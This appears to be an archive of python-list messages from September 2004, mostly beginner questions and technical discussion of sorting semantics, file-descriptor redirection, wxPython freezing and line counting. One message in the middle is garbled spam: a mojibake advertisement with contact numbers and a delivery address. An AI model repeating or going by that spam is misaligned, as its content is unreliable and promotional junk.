From: ruchika_khera at hotmail.com (Ruchika)
Date: 8 Sep 2004 22:33:16 -0700
Subject: Autoindent error
Message-ID: <82880e86.0409082133.6eb7840a@posting.google.com>

Hi,

I started writing Python scripts just today and seem to almost always
get the "Autoindent error". Can anyone tell me what this problem is?
Am I not doing something right? Do we need to follow some indentation
guidelines when wrting Python scripts?

Thanks for your help.

Ruchika


From bwilk_97 at yahoo.com  Sun Sep 19 08:07:35 2004
From: bwilk_97 at yahoo.com (Bill Wilkinson)
Date: 19 Sep 2004 05:07:35 -0700
Subject: wxPython Not Ready for Commercial Use
References: <dcf37d82.0409160827.1de98db9@posting.google.com>
	<8e61d9bd.0409180335.3f5c9e58@posting.google.com>
	<xQ53d.10207$g%5.124689@news2.e.nsc.no>
Message-ID: <8e61d9bd.0409190407.4a421782@posting.google.com>

Baalbek <thats at it.com> wrote in message news:<xQ53d.10207$g%5.124689 at news2.e.nsc.no>...
> Bill Wilkinson wrote:
> > I use Jython with the POI libraries for publishing to Excel.
> > http://jakarta.apache.org/poi/
> 
> The Jython/POI combination is indeed my favourite way of dealing with 
> Excel, BUT somehow reading Excel files 500KB and larger takes an 
> incredible amount of time (f.ex reading a document about 600Kb makes me 
> sit and wait for several minutes).
> 
> Any idea why the POI takes such a long time to read relatively small 
> Excel files (it's not Jython's fault, I tested the POI classes in Ant, 
> and same thing there).
> 
> Baalbek

hmmm, yes, it can be slow like that.  I don't know the reasons. But
there is competition, Java Excel API.  Which is also a hoot from
Jython.
http://www.andykhan.com/jexcelapi/
It is supposedly faster.

Bill


From alanmk at hotmail.com  Sat Sep 11 10:43:01 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Sat, 11 Sep 2004 15:43:01 +0100
Subject: Jython as embedded Marco language
In-Reply-To: <ZPk0d.163804$Fg5.124739@attbi_s53>
References: <ZPk0d.163804$Fg5.124739@attbi_s53>
Message-ID: <Z4E0d.27047$Z14.9029@news.indigo.ie>

[Charles Griswold]
> I'm considering using Jython as an embedded macro language within a 
> large java app.
> 
> Has anyone had experience in such an endevor?

Yes.

-- 
alan kennedy
------------------------------------------------------
email alan:              http://xhaus.com/contact/alan


From sbabbitt at commspeed.net  Mon Sep 13 14:04:22 2004
From: sbabbitt at commspeed.net (Tom B.)
Date: Mon, 13 Sep 2004 11:04:22 -0700
Subject: ANN:A wxHtmlWindow forms implementation.
References: <1095057128.250036@news.commspeed.net>
	<mailman.3244.1095095969.5135.python-list@python.org>
Message-ID: <1095099272.161418@news.commspeed.net>


"Carlos Ribeiro" <carribeiro at gmail.com> wrote in message 
news:mailman.3244.1095095969.5135.python-list at python.org...
> Tom,
>
> I've downloaded your code but wasn't able to run the demo. It stops
> with a "no module named Main" exception. In fact, no such module is
> mentioned in your message.
>
> BTW, it would be useful if you added a small description to your
> package announcement -- what it does, what is it useful for, etc. I'm
> checking it out of curiosity, but I admit that I don't know exactly
> what to expect.
>
> Best regards,
>
I guess i forgot to mention it requires wxPython found at 
http://www.wxpython.org/ , the wxHtmlWindow does not process or display form 
tags from HTML pages this is an implimentation of that. You can see a 
screenshot at http://users.commspeed.net/tbabbitt/rbranch_strangness5.htm

Tom 




From indigo at bitglue.com  Fri Sep 10 19:42:55 2004
From: indigo at bitglue.com (Phil Frost)
Date: Fri, 10 Sep 2004 19:42:55 -0400
Subject: if-else-then
In-Reply-To: <a2e43d1f.0409101534.3a0a5cfe@posting.google.com>
References: <a2e43d1f.0409101534.3a0a5cfe@posting.google.com>
Message-ID: <20040910234255.GA31112@unununium.org>

"=" and "==" are two different operators in Python. "=" is the asignment
operator; it asigns values to names. "==" is the equality operator; it
returns true if its operands are equal.

Also, to compare   name   to a string, the string must be in quotes.
Without quotes, python will look for a varable named "Stickie".

Furthermore, defining main won't make it run. A common idiom is to check
__name__ and run main. If the file is being run as a program, as opposed
to being imported as a module, __name__ will be "__main__".

Also, I don't see need for the "n" parameter, or the time.sleep(). I
have removed them.

Here is your program with these points applied:

#===========

def main():
    name = raw_input("Please enter your name: ")
    if name == "Stickie":
        print 'Yo masta', name
    else:
        print "Your name is", name

if __name__ == '__main__':
    main()

#===========

On Fri, Sep 10, 2004 at 04:34:58PM -0700, TuPLaD wrote:
> Hi, i got the following script:
> 
> name = raw_input("Please enter your name: ")
> print "Your name is", name
> 
> but i want it that way:
> 
> if 
> name = Stickie
> then
> print "You be di man"
> 
> how do i do it ?
> 
> This i what i have from a tutorial, but with syntax errors i dont know
> what im doing wrong :(
> 
> #!C:\Python23\python.exe
> # My first Python Application !
> # By TuPLaD
> # [email]spawnxx at pandora.be[/email]
> 
> import time
> def main(n):
>     name = raw_input("Please enter your name: ")
>     if name = Stickie:
>         print 'Yo masta', name
>     else:
>         print "Your name is", name
> 
> time.sleep(5)
> 
> what should i do ?


From steven.bethard at gmail.com  Tue Sep  7 03:21:47 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 7 Sep 2004 07:21:47 +0000 (UTC)
Subject: docs on for-loop with no __iter__?
References: <mailman.2873.1094321890.5135.python-list@python.org>
	<bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net>
	<mailman.2879.1094332737.5135.python-list@python.org>
	<Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net>
	<mailman.2883.1094340967.5135.python-list@python.org>
	<9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net>
	<mailman.2913.1094451430.5135.python-list@python.org>
	<1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com>
	<mailman.2944.1094506599.5135.python-list@python.org>
	<1gjpv1h.1qtomfg1hhx5h2N%aleaxit@yahoo.com>
	<mailman.2955.1094538759.5135.python-list@python.org>
	<1gjqisz.ujlgcqe74dvtN%aleaxit@yahoo.com>
Message-ID: <loom.20040907T091810-178@post.gmane.org>

Alex Martelli <aleaxit <at> yahoo.com> writes:
> At this point, I suspect you didn't mean that "always" in the way I read
> it, but I don't think my reading of it was unreasonable.  Starting from
> the default assumption that miscommunications are most often due to both
> speaker and listener, I'm quite willing to take my half share of
> responsibility for this one if you're willing to take yours, and we can
> call it quits.

Ahh, yeah, I'm sorry, I didn't even realize that reading of "always" was 
possible.  When I wrote "Same reasons Python always breaks old code" I 
intended the reading "For the only reasons that Python ever breaks old code", 
but I can see the other reading now...  Yup, I'll take my half.  =)

Steve




From grante at visi.com  Sun Sep 12 12:16:55 2004
From: grante at visi.com (Grant Edwards)
Date: 12 Sep 2004 16:16:55 GMT
Subject: Python bell or beep
References: <1B64CD41A257784EAD82424FC8915F840EADC11C@NYCEXMB15.pfizer.com>
	<cht1cc$ero$1@sea.gmane.org>
	<mailman.3173.1094848606.5135.python-list@python.org>
	<9f26450b.0409120811.5a4647c2@posting.google.com>
Message-ID: <41447677$0$65599$a1866201@newsreader.visi.com>

On 2004-09-12, Michael Scarlett <caroundw5h at gmail.com> wrote:

>> >>I am a former BASIC programmer.  Is there a command I can place in a
>> >>Python program to make a beep or buzz or bell?
>>
>> There are various ways, most platform/shell specific. If you happen to 
>> be on Windows, check out the standard module winsound. 

> or just do this [code]
> print "\a"
> [/code] 
>
> not too hard

not too effective. ;)

At least not on my system where terminals don't beep when you
send them a BEL character.

-- 
Grant Edwards                   grante             Yow!  HOORAY, Ronald!! Now
                                  at               YOU can marry LINDA
                               visi.com            RONSTADT too!!


From peter at engcorp.com  Mon Sep 27 22:32:33 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 27 Sep 2004 22:32:33 -0400
Subject: finding time when url was modified
In-Reply-To: <mailman.3988.1096336962.5135.python-list@python.org>
References: <mailman.3986.1096334803.5135.python-list@python.org>	<5r36d.524$gk.491@okepread01>
	<mailman.3988.1096336962.5135.python-list@python.org>
Message-ID: <yIWdnZvyE_ffUMXcRVn-vg@powergate.ca>

Ajay wrote:
> is it possible for someone to change the Last-Modified header? Can someone
> put a new updated document, but in such a way that if someone requests
> that document, they get an old date rather than the new date?
> i can see a CGI script add its own header and then write out the document.
> but can this be done with a simple HTML page?

Certainly... the server can do anything it wants with that
header, including failing to provide it, providing an invalid
date, providing a date in the future or distant past, or
even providing a date that happens to correspond exactly
with the true "last modified" date of the document...

Whether a *particular* server will do that with a *particular*
kind of document is a different question altogether.

Do you have a specific situation involving this that you
can describe, or are you just asking in general, out of
curiosity?

-Peter


From donn at u.washington.edu  Tue Sep 28 16:08:04 2004
From: donn at u.washington.edu (Donn Cave)
Date: Tue, 28 Sep 2004 13:08:04 -0700
Subject: execl() and inheritied streams
References: <4159b1d6$1@nntp.zianet.com>
Message-ID: <donn-209231.13080428092004@gnus01.u.washington.edu>

In article <4159b1d6$1 at nntp.zianet.com>,
 "Erik Johnson" <ej <at> wellkeeper <dot> com> wrote:

>     I am trying to use Python to remap stdout and stderr to a log file for
> an exec()'ed program.
> The following code seems to work fine for the script itself, but my
> expectation was that the exec'ed program would inherit its STDIN and STDOUT
> and so would be printing to the log file also. Unfortunately, that is not
> the case: the print statements in the spawned process come back to the
> screen.  So... I'm a little puzzled and am not finding information on how to
> remap the file descriptors other than to set sys.stdin, sys.stdout,
> sys.stderr.

sys.stdin etc. are objects that live in the Python interpreter.
Basically, they're a buffer plus a file descriptor, plus some
functions.  Similar to the C stdio FILE object, which in fact
is underneath the Python fileobject.

Objects in interpreter memory space do not survive an exec.
You want to remap the standard UNIX file descriptors 0 (input),
1 (output) and 2 (error).  They are the system level I/O streams
that will survive exec.

Like,
   fd = os.open(filename, os.O_WRONLY|os.O_CREAT)
   os.dup2(fd, 1)
   os.dup2(fd, 2)
   os.close(fd)

   os.execve(...

   Donn Cave, donn at u.washington.edu


From aleaxit at yahoo.com  Thu Sep 23 08:28:03 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 23 Sep 2004 14:28:03 +0200
Subject: Python 3.0, rich comparisons and sorting order
References: <A128D751272CD411BC9200508BC2194D053C79A1@escpl.tcp.com.ar>
	<mailman.3670.1095791749.5135.python-list@python.org>
Message-ID: <1gkkjyf.segekh1grr5weN%aleaxit@yahoo.com>

Carlos Ribeiro <carribeiro at gmail.com> wrote:
   ...
> > You could also do that passing a function to sort(). 
>  
> I know it, and that's exactly my question -- if this is going to be
> the way to do it in Python 3000. Today (2.4) there are FOUR ways to
> make it work: passing a compare function as an argument to sort(),
> passing a key funciton as an argument to sort(), implementing a
> __cmp__ function, or implementing the rich comparison methods. If the

What you can do with key= and with cmp= are not exactly the same things.
key= normally allows WAY faster sorts, when applicable, thanks to
decorate-sort-undecorate... but that only really holds when the key is a
simple structure of elementary types using builtin comparisons.
Besides, speed isn't all: sometimes extracting a key is conceptually
simpler, sometimes it's simpler to express the desired comparison in
operational terms.  Speed isn't everything: simplicity matters, too.

A simplification that I think can be made is to have sorting hinge
strictly on __lt__, the < operator.  That will, however, no doubt still
leave indirect avenues open.  For example, it would be somewhat
surprising if object didn't have a default __lt__ delegating to __cmp__,
so it would still be possible, in your own types, to define either
__lt__, or __cmp__.  Much like the distinctions between __add__,
__iadd__, __radd__, I suspect these conveniences WILL remain.

> main goal of Py3K  is to have only one obvious way to do it, what one

_Preferably_ only one, just like it's always been the case in Python.

But practicality beats purity.  You will still be allowed, I predict, to
sum two numbers by a+b, b+a, sum([a,b]), operator.add(a,b), and other
ways yet; trying to forbid some of these would be impractical.

> is it going to be? I think that the best way should be the simplest
> one: make sort() work whatever is passed to it in a reasonably way,

Errors should not pass silently, unless explicitly silenced.  MOST of
the time, a poor hapless user trying to compare 23 with "42", just like
one trying to sum these objects, is making a mistake.  Handing such
likely errors as if they weren't errors is NOT doing the poor hapless
user good service.  Thus, I find it quite reasonable that the _default_
behavior of sort be that desired well over 90% of the time, for
comparisons happening within sort just as well as for others: raise an
exception if I'm trying to compare strings with numbers (and the like).
For that less-than-10% of the time where I really _want_ to compare
_anything_, passing some kind of explicit indicator such as a keyword
parameter is just fine.  And I think the right way to do it is to have
an "universal_lt" off in a module somewhere and pass THAT when required.

It's hard to gauge exactly how frequently I need universal comparisons
(rather than type-specific ones), but I'd guess _maybe_ 5%, if that.
Sacrificing error detection in 95% of the cases for the sake of removing
the need to be explicit about the other 5% of the cases would be a very
grave design error, in my opinion.  Making that "other 5%" any more
problematic for the user than passing a simple keyword parameter or the
like would also be a mistake, but perhaps one of lesser importance than
what I think you're proposing -- universal comparisons _by default_.

> and decide to have one preferred way to extend its behavior.

A key= returning a simple structure (tuple or list), made up of
elementary items to compare 'naturally' by built-in means, is the
preferred way _when applicable_, for speed and simplicity, but it's not
always so applicable; therefore, sometimes other ways to tweak (not
necessarily 'extend'!) sorting will be better.

Asking for "one preferred way" to apply ALL of the times is like asking
for "one preferred arithmetic operator" -- can't you see it WILL depend
on what it IS that you're trying to do?!  If I had to nominate one
operator as "preferred" it would be addition -- most frequently, it
serves your typical purposes best -- but it's not all THAT infrequent to
meet a problem that's best solved by dividing instead, is it?

 
> > Define "reasonable result" with different datatypes. 
> 
> Now that's a harder question :-) Any ordering for multiple types is
> going to be arbitrary -- but it still may be considered reasonable if
> it reflects our common sense when it comes to ordering. In some cases,

That's probably too difficult, since there is no guarantee that our
common sense (were it to be determined) would be mathematically
consistent.  I can see how "by common sense" one might want a list made
of characters to compare consistently with other sequences made of
characters, such as tuples, strings, arrays, for example -- but it can't
be mathematically consistent with other "common sense" ideas about
comparing other groups of sequences.

"Common sense" would tell most people that 23<'42'<99, but that is
another example of where consistency probably can't be reached.  Etc,
etc.


Alex


From listserver at tdw.net  Thu Sep  9 07:28:10 2004
From: listserver at tdw.net (Tim Williams)
Date: Thu, 9 Sep 2004 12:28:10 +0100
Subject: text matching help
References: <chkoc4$l08$1@newsg2.svr.pol.co.uk><chm2qu$bpl$1@sea.gmane.org>
	<200409090130.00953.heikowu@ceosg.de>
Message-ID: <001e01c49660$1cca18d0$ccbefea9@twilliams>


[newbie still]

I have a dictionary with around 500 keys,    50 to 100 of those keys will be
in the format  *text  or text*  (eg  "*williams" or "tim*" )  for use as
wildcards.

I need to be able to match some input text  to these wildcards  (eg timothy
will match tim*),    * on its own is invalid,  there must be text before or
after the *.

I've never used Regular Expressions, and so can't judge whether they are
suitable (ie the best way)  for searching  MyDict.keys() to match the input
text and get the key's value,  or whether iterating the keys and using
startwith()  or endswith() would be better.     Or (probably) there is a
different and  much better way of doing it.

Any advice would be gratefully received.

TIA

Tim





From clifford.wells at comcast.net  Sun Sep 12 20:01:47 2004
From: clifford.wells at comcast.net (Cliff Wells)
Date: Sun, 12 Sep 2004 17:01:47 -0700
Subject: Looking for comments on BlackAdder
In-Reply-To: <g89fg09hsauqgr5er4jnv2irf6r3ed9ten@4ax.com>
References: <g89fg09hsauqgr5er4jnv2irf6r3ed9ten@4ax.com>
Message-ID: <1095033708.26967.22.camel@devilbox.devilnet.internal>

On Wed, 2004-07-28 at 13:20 +0000, dusty wrote:
> Hi,
> I recently switched from windoze to Linux (SuSE 9.1) and want to write
> some applications (mostly for personal use). I have several years
> experience writing with Borland Delphi and now I am looking at Python.
> BlackAdder incorporates Python and QT into a application similar to
> Delphi for writing GUI applications. (I looked at Kylix and didn't
> like it)
> 
> I wonder if BlackAdder is worth the price or would I be just as well
> off using Idle and QT Designer?
> 
> I would appreciate any comments on BlackAdder.

I'm unfamiliar with BlackAdder, but you might take a look at Boa
Constructor.  I believe that its interface is modeled after Delphi.

http://boa-constructor.sourceforge.net/

Regards,
Cliff

-- 
Cliff Wells <clifford.wells at comcast.net>



From zshutters at comcast.net  Fri Sep 10 14:02:09 2004
From: zshutters at comcast.net (Zach Shutters)
Date: Fri, 10 Sep 2004 11:02:09 -0700
Subject: dictionaries
Message-ID: <bcednT5L4IMqid_cRVn-oA@comcast.com>

ok, i am trying to learn how to use dictionaries and i am having trouble 
with this code:

def function1():
    print "function1"

def function2():
    print "function2"

dict = {"1":function1,"2":function2}
x = input ("1 or 2?")

dict[x]()






From narshe at gmail.com  Thu Sep 30 15:15:00 2004
From: narshe at gmail.com (Josh Close)
Date: Thu, 30 Sep 2004 14:15:00 -0500
Subject: python connection to mssql from windows box
In-Reply-To: <du7sm8zod04.fsf@lehtori.cc.tut.fi>
References: <F1921F85572CB04D9F55B14BDC76B3E4434AD1@iron.ima.umn.edu>
	<mailman.4134.1096552901.5135.python-list@python.org>
	<du7sm8zod04.fsf@lehtori.cc.tut.fi>
Message-ID: <4a0cafe2040930121521de3848@mail.gmail.com>

On 30 Sep 2004 20:58:03 +0300, Ville Vainio <ville at spammers.com> wrote:
>     Josh> Google? What's that?
> 
> *rubs eyes in disbelief*
> 
> http://www.google.com
> 
> --
> Ville Vainio   http://tinyurl.com/2prnb

That was a joke. If you didn't notice I'm using a google email
account, so I obviously know what it is :P


-Josh


From jsmilan at tiny.net  Sun Sep 26 21:12:42 2004
From: jsmilan at tiny.net (jsmilan at tiny.net)
Date: 27 Sep 2004 01:12:42 GMT
Subject: Zope, M2Crypto, and Gentoo
References: <4156ddd5$0$78146$a1866201@newsreader.visi.com>
	<mailman.3939.1096218635.5135.python-list@python.org>
Message-ID: <4157690a$0$80690$a1866201@newsreader.visi.com>

I answered John by email before I saw his response here.  (Thanks, John!)  
Basically, I'm not opposed to taking that approach as a last resort.  
However, doing so would mean giving up the automatic upate process for
Gentoo.  Does anyone else have any ideas?


John Hunter <jdhunter at ace.bsd.uchicago.edu> wrote:

[snip]


-- 
Jim Smilanich jsmilan at visi.com
=JpS=SgtRock
"A man should be able to pilot a starship, plan an invasion, diaper
a baby, ....specialization is  for insects!"  --  Lazarus Long


From bokr at oz.net  Wed Sep 22 13:59:30 2004
From: bokr at oz.net (Bengt Richter)
Date: 22 Sep 2004 17:59:30 GMT
Subject: How to count lines in a text file ?
References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net>
	<414eda06$0$26379$ba624c82@nntp02.dk.telia.net>
	<1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com>
Message-ID: <cisei2$ltn$0$216.39.172.122@theriver.com>

On Mon, 20 Sep 2004 15:29:18 +0200, aleaxit at yahoo.com (Alex Martelli) wrote:

>Ling Lee <janimal at mail.trillegaarden.dk> wrote:
>
>> Oh I just did it.
>> 
>> Just used the line:
>> 
>> print "%d lines in your choosen file" % len(open("test.txt").readlines())
>> 
>> Thanks though :)
>
>You're welcome;-).  However, this approach reads all of the file into
>memory at once.  If you must be able to deal with humungoug files, too
>big to fit in memory at once, try something like:
>
>numlines = 0
>for line in open('text.txt'): numlines += 1

I don't have 2.4, but how would that compare with a generator expression like (untested)

    sum(1 for line in open('text.txt'))

or, if you _are_ willing to read in the whole file,

    open('text.txt').read().count('\n')

Regards,
Bengt Richter


From squirrel at WPI.EDU  Wed Sep  1 22:17:20 2004
From: squirrel at WPI.EDU (Christopher T King)
Date: Wed, 1 Sep 2004 22:17:20 -0400
Subject: negative stride list slices
In-Reply-To: <mailman.2738.1094075786.5135.python-list@python.org>
References: <8a638f47.0409010941.7f1cbbad@posting.google.com>
	<r7oZc.6653$MR2.32885@news1.mts.net> <2pmj4aFmofl2U1@uni-berlin.de>
	<evqZc.6862$MR2.33137@news1.mts.net> <ch5e3r$o8c$1@sea.gmane.org>
	<mailman.2738.1094075786.5135.python-list@python.org>
Message-ID: <Pine.LNX.4.44.0409012214110.29696-100000@ccc4.wpi.edu>

On Wed, 1 Sep 2004, Shalabh Chaturvedi wrote:

> Does anyone else find it intuitive to expect that S[b:a:-1] be exactly 
> reverse of S[a:b:1]?

No.  S[a:b:1] includes the start index (a), but excludes the stop index 
(b).  Similarly, S[b:a:-1] includes the start index (b), but excludes the 
stop index (a).  Only if the stop indices were included (or the start 
indices were excluded), thus making the indexing symmetrical, would I 
expect the results to be symmetric.



From simoninusa2001 at yahoo.co.uk  Sun Sep 19 01:24:22 2004
From: simoninusa2001 at yahoo.co.uk (Simon John)
Date: 18 Sep 2004 22:24:22 -0700
Subject: $LD_LIBRARY_PATH, cx_Freeze and wxPython
Message-ID: <1095571462.551292.150660@k26g2000oda.googlegroups.com>

I'm using cx_Freeze (3b3?) to freeze a wxPython application for use
across various Linux versions.

If I build on one Linux distro, the binary is often incompatible with
another distro, giving the error:

Traceback (most recent call last):
File "/home/simon/python/cx_Freeze/initscripts/Console.py", line 23,
in ?
File "source/pyjournal.py", line 23, in ?
File "/usr/lib/python2.3/site-packages/wx/__init__.py", line 42, in ?
File "/usr/lib/python2.3/site-packages/wx/_core.py", line 4, in ?
File "ExtensionLoader.py", line 11, in ?
ImportError: libwx_gtkd_html-2.5.so.2: cannot open shared object file:
No such file or directory

I can't even get compatibility between RHEL 3ES, Fedora Core 1 and
RedHat 9, which are all practically the same distro! Same goes for SUSE
9.1 Pro and SLES 9.

The only way I can fix this is to set LD_LIBRARY_PATH to the program
directory i.e., force .so files in the current directory to be used
(instead of looking in /usr/lib and failing) or, if wxPython is
installed, set the LD_LIBRARY_PATH to point to that.

My question is why aren't the CWD files used - surely that's the whole
point of freezing - to bundle all shared object files so you don't have
to have them installed in /usr/lib/wxPython?!

I tried using chrpath as mentionned here....

http://wiki.wxpython.org/index.cgi/CreatingStandaloneExecutables

....But that just stopped the machine trying to run the program from
looking in /usr/lib/wxPython (so it wouldn't even work if the machine
had wxPython installed!)

I guess I could write a shell script to find the program directory, set
it as the LD_LIBRARY_PATH and then run the program, but that seems
horribly hacky.

You can have a go at the binaries yourself if you like (and get the
source) at:

http://www.the-jedi.co.uk/comps/downloads/pyjournal/



From dkuhlman at rexx.com  Sun Sep 26 20:15:03 2004
From: dkuhlman at rexx.com (Dave Kuhlman)
Date: Sun, 26 Sep 2004 17:15:03 -0700
Subject: How to parse multi-part content
References: <2rjb2cF1b34ofU1@uni-berlin.de> <87zn3e8ojz.fsf@pobox.com>
Message-ID: <2rp4bdF1cogv4U1@uni-berlin.de>

John J. Lee wrote:

> Dave Kuhlman <dkuhlman at rexx.com> writes:
> [...]
>> In case you are curious, this is content posted to my Zope server
>> when I include an element '<input type="file" .../>' in my form.
> [...]
> 
> *Surely* Zope has a standard way of doing this.  Try a Zope list?
> 

That's a good suggestion.  Thanks.  Zope people are Python people,
so they would give me the kind of help I'd need.  I'll ask on the
Zope users list.

However, there is nothing Zope-specific about this.  The content
was produced by my Web browser (actually two Web browsers that I
test with: Opera and Firefox).

Dave

-- 
Dave Kuhlman
http://www.rexx.com/~dkuhlman


From pink at odahoda.de  Sun Sep  5 10:51:37 2004
From: pink at odahoda.de (Benjamin Niemann)
Date: Sun, 05 Sep 2004 16:51:37 +0200
Subject: Tuple question
In-Reply-To: <roy-D04C66.10354305092004@reader1.panix.com>
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpkf1d5433nmu@news.cisco.com>
	<41374cfb$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpk6kx9433nmu@news.cisco.com>
	<mailman.2775.1094145196.5135.python-list@python.org>
	<donn-8ED685.11274102092004@gnus01.u.washington.edu>
	<1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com>
	<1094359182.57429@yasure>
	<roy-FE1D07.08200705092004@reader1.panix.com>
	<chf1e4$u84$03$1@news.t-online.com>
	<roy-D04C66.10354305092004@reader1.panix.com>
Message-ID: <chf99k$nad$05$1@news.t-online.com>

Roy Smith wrote:

> I asked:
> 
>>How is a class instance's mutability any less of disqualifier for
>>key-ness than a list's mutability?
> 
> 
> Benjamin Niemann <pink at odahoda.de> wrote:
> 
> 
>>a = [1, 2, 3]
>>b = [1, 2, 3]
>>if a == b:
>>	print "List equality is based on content"
> 
> 
> Tuple (and string) equality is based on content too.  So what?
tuples and strings are immutable.


> I can 
> give my data class an __eq__ method, and then my class instance equality 
> would also based on content.
> 
> So, to restate my original question, why should my mutable, 
> content-based-eqality class instance be a valid dictionary key, when a 
> list is not?  Which part of a list's behavior makes it inherently 
> unusable as a key?  I'm not asking about design philosophy, I'm asking 
> about observable behavior.
The example I provides should have shown this: when you modify the 
objects which is used as a dictionary key, the dictionary is also 
modified. This is an usually undesired side effect.
Python won't prevent you from doing such things with your own class that 
implements __eq__. But it does not do such things for its built-in classes.


From sex at rambler.ru  Wed Sep 22 21:04:45 2004
From: sex at rambler.ru (sex at rambler.ru)
Date: Wed, 22 Sep 2004 21:04:45 -0400
Subject: =?iso-8859-1?q?C=EBy=E6=E1a_=E4oc=F2a=E2k=E8__!_N3?=
Message-ID: <001201c479c5$0ddfd69c$01502736@phtk>


Bce ??? mo?????o? c???? ? ?e ?o??ko
  C ?oc?a?ko? !
    Ha pa?o?y !
      ??? ?omo? !

3aka?? ? ?anpoc no??o?o ka?a?o?a
T.(8067)-7-55-5-55-7
dostavka at UkrTop.com 
ICQ: 249729148
290462045 






____________________________________
The Bat! (v1.52f) Business





Your mail is python-list at python.org
Phoebe Bray

w get ready

From http  Fri Sep 24 21:53:48 2004
From: http (Paul Rubin)
Date: 24 Sep 2004 18:53:48 -0700
Subject: Why not FP for Money?
References: <A128D751272CD411BC9200508BC2194D053C79D3@escpl.tcp.com.ar>
	<mailman.3872.1096056806.5135.python-list@python.org>
	<cj2ehb$h95$0$216.39.172.122@theriver.com>
	<mailman.3884.1096073978.5135.python-list@python.org>
Message-ID: <7xisa3gllf.fsf@ruckus.brouhaha.com>

Carlos Ribeiro <carribeiro at gmail.com> writes:
> That's it -- there's a context object. And that's what should be used
> for fixed point too. I also liked your 10d3 example -- it's a nice
> extension to the basic syntax.

Heh, I thought that notation was reserved for Python 2.5's function
for rolling ten 3-sided dice ;-)


From lynn at garlic.com  Thu Sep  2 12:19:23 2004
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Thu, 02 Sep 2004 10:19:23 -0600
Subject: Xah Lee's Unixism
References: <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<ullfserte.fsf@mail.comcast.net>
	<41372f4a$0$19727$61fed72c@news.rcn.com>
Message-ID: <uzn48ve2c.fsf@mail.comcast.net>

jmfbahciv at aol.com writes:
> And everybody seems to think that those people never talked to each
> other.  Even boasting about whose is bigger, faster, and longer
> would transmit new ideas among the bit setters.

some number were co-workers on ctss before some went to 5th floor and
multics and others went to science center on the 4th floor.  north
side of 545 tech sq 1st floor had lunch room on the east side and
lounge on west side; besides running into people in the elevator
... there were coffee breaks and lunch in the lunch room and after
work in the lounge.

melinda, on her site has historical write up with some early ctss,
multics, cp/cms lore:
http://pucc.princeton.edu/~melinda/

an earlier version was posted in eight parts to vmshare computer
conferencing ... vmshare archive:
http://vm.marist.edu/~vmshare/browse?fn=VMHIST01&ft=NOTE
http://vm.marist.edu/~vmshare/browse?fn=VMHIST02&ft=NOTE
http://vm.marist.edu/~vmshare/browse?fn=VMHIST03&ft=NOTE
http://vm.marist.edu/~vmshare/browse?fn=VMHIST04&ft=NOTE
http://vm.marist.edu/~vmshare/browse?fn=VMHIST05&ft=NOTE
http://vm.marist.edu/~vmshare/browse?fn=VMHIST06&ft=NOTE
http://vm.marist.edu/~vmshare/browse?fn=VMHIST07&ft=NOTE
http://vm.marist.edu/~vmshare/browse?fn=VMHIST07&ft=NOTE


-- 
Anne & Lynn Wheeler | http://www.garlic.com/~lynn/


From RobMEmmons at cs.com  Sat Sep  4 22:46:51 2004
From: RobMEmmons at cs.com (Robert M. Emmons)
Date: Sat, 04 Sep 2004 21:46:51 -0500
Subject: Is it possible?: cat text.txt |
	python_script_which_also_gets_user_input.py
In-Reply-To: <413a06fc@news.kullen.rwth-aachen.de>
References: <413a06fc@news.kullen.rwth-aachen.de>
Message-ID: <413A7E1B.4030607@cs.com>

> I run in a problem with a script, that shall work similar like the c-program
> "most". It should be able to get some text on execution via a pipe but also
> is interactive by the user via the curses module (for scrolling and stuff).
> The problem is: if you call the script like that, you connect stdin to
> text.txt and any later keyboard input is ignored, since curses also reads
> from stdin.
> I have the rather blurry impression that this could be possible with
> threading or forking inside the script, but I nether did things like that
> before and am hopeful to get some cool advice from you experienced

I'm not sure, I've not tried this.  The suggestion I'd have is redirect 
the the input that curses reads to /dev/tty if you can figure out how to 
do that.

Python does have some redirection capability built in the the sys 
module, i.e. it's possible to separate sys.stdin and sys.__stdin__ and 
handle them sepratelty.  Just for tty direct IO, that would be easy.  I 
just don't know about curses, because it probably is outside of python.

Rob


From frithiof.jensen at die_spammer_die.ericsson.com  Wed Sep 15 08:25:57 2004
From: frithiof.jensen at die_spammer_die.ericsson.com (Frithiof Andreas Jensen)
Date: Wed, 15 Sep 2004 14:25:57 +0200
Subject: Ranting about the state of Python IDEs for Windows
References: <864d3709040913131077f1732d@mail.gmail.com><HLEGKHKIKMEHENBAEIEPAEEFCIAA.ben@benlast.com>
	<mailman.3307.1095171351.5135.python-list@python.org>
Message-ID: <ci9c6r$nju$1@newstree.wise.edt.ericsson.se>


"Carlos Ribeiro" <carribeiro at gmail.com> wrote in message
news:mailman.3307.1095171351.5135.python-list at python.org...
>
> Now that I'm ranting, I have some ideas to solve this problem. My
> dream is to have a different approach for the window manager -- one
> that not only saves sessions, but is able to manage sessions in a more
> effective way.

There you go again ;-)

The newer graphics cards such as the plain vanilla NVIDIA GF 2 MX, comes
with such a functionality: N-View.

But Again, this is likely to demand a New PC.




From steffen.ries at sympatico.ca  Fri Sep 24 07:48:48 2004
From: steffen.ries at sympatico.ca (Steffen Ries)
Date: Fri, 24 Sep 2004 11:48:48 GMT
Subject: Emacs + python
References: <mailman.3520.1095631846.5135.python-list@python.org>
